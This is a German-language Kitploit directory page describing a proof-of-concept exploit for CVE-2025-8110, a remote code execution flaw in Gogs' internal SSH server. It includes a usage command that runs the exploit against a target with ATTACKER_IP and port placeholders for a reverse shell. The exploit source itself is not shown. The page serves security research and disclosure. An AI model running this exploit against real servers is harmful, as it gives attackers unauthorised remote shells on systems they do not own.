Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
gogs-CVE-2025-8110 — CVE-2025-8110 PoC | Kitploit
Tools/GitHubGitHub/zabuqasem/gogs-cve-2025-8110
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRemote Access ToolPayload Development
GitHubzabuqasem/gogs-cve-2025-8110

gogs-CVE-2025-8110

CVE-2025-8110 PoC

Repository anzeigen
29vor 7 MonatenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Gogs CVE-2025-8110 PoC

Dieses Repository enthält einen Proof of Concept (PoC) für CVE-2025-8110, eine Remote Code Execution (RCE)-Sicherheitslücke in Gogs. Der Exploit zielt auf die interne SSH-Server-Implementierung ab und ermöglicht Angreifern, bösartige Befehle über die sshCommand-Konfiguration einzuschleusen.

Verwendung

Um den Exploit auszuführen, verwenden Sie das Skript CVE-2025-8110.py mit der Ziel-Gogs-URL und Ihrer Lausch-Host/Port für die Reverse Shell.

root@kitploit:~
python3 CVE-2025-8110.py -u <TARGET_URL> -lh <ATTACKER_IP> -lp <ATTACKER_PORT>

Argumente

  • -u, --url: Basis-URL der Ziel-Gogs-Instanz (z. B. http://localhost:3000).
  • -lh, --host: IP-Adresse, zu der die Reverse Shell eine Verbindung herstellen soll.
  • -lp, --port: Port, zu dem die Reverse Shell eine Verbindung herstellen soll.
  • -x, --proxy: (Optional) Verwenden Sie einen lokalen Proxy unter http://localhost:8080 zum Debuggen.

Haftungsausschluss

Dieser Proof of Concept (PoC) dient ausschließlich zu Bildungs- und Forschungszwecken. Er soll Sicherheitsforschern und Administratoren helfen, die CVE-2025-8110-Sicherheitslücke zu verstehen und zu entschärfen.

Der Autor übernimmt keine Verantwortung für unbefugte oder böswillige Nutzung dieses Codes. Verwenden Sie dieses Tool nur auf Systemen, die Ihnen gehören oder für die Sie ausdrückliche Testgenehmigung haben. Durch die Nutzung dieses Codes erklären Sie sich bereit, die volle Verantwortung für Ihre Handlungen zu übernehmen.

Tool herunterladen